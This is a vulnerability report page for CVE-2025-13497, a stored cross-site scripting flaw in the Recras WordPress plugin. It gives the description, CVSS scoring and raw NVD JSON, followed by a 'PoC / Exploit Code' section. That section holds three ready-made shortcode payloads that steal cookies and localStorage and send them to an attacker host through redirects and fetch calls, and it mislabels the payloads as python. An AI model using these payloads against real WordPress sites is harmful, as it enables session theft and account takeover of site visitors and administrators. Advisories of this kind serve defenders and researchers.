Security Vulnerability Report
中文
CVE-2025-13497 CVSS 6.4 MEDIUM

CVE-2025-13497

Published: 2026-01-07 12:16:48
Last Modified: 2026-04-15 00:35:42

Description

The Recras WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'recrasname' shortcode attribute in all versions up to, and including, 6.4.1. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Recras WordPress Plugin <= 6.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13497 PoC: Recras WordPress Plugin Stored XSS --> <!-- Authenticated Contributor+ role required --> <!-- Method 1: Using shortcode in post/page content --> [recras recrasname='"><script>alert('XSS by CVE-2025-13497');document.location='https://attacker.com/steal?c='+document.cookie</script>'] <!-- Method 2: Using shortcode with event handler --> [recras recrasname='"><img src=x onerror=fetch('https://attacker.com/log?cookie='+btoa(document.cookie))>'] <!-- Method 3: Stealing admin credentials --> [recras recrasname='"><script>fetch('https://attacker.com/exfil?data='+btoa(JSON.stringify({cookies:document.cookie,storage:localStorage,url:location.href})));</script>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13497", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:48.330", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Recras WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'recrasname' shortcode attribute in all versions up to, and including, 6.4.1. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin de WordPress Recras es vulnerable a cross-site scripting almacenado a través del atributo de shortcode 'recrasname' en todas las versiones hasta la 6.4.1, inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Colaborador o superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/recras/tags/6.4.1/src/OnlineBooking.php#L144", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/recras/trunk/src/OnlineBooking.php#L144", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3432851/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ef93491a-5965-4289-b72c-d1568ff4e6e8?source=cve", "source": "[email protected]"}]}}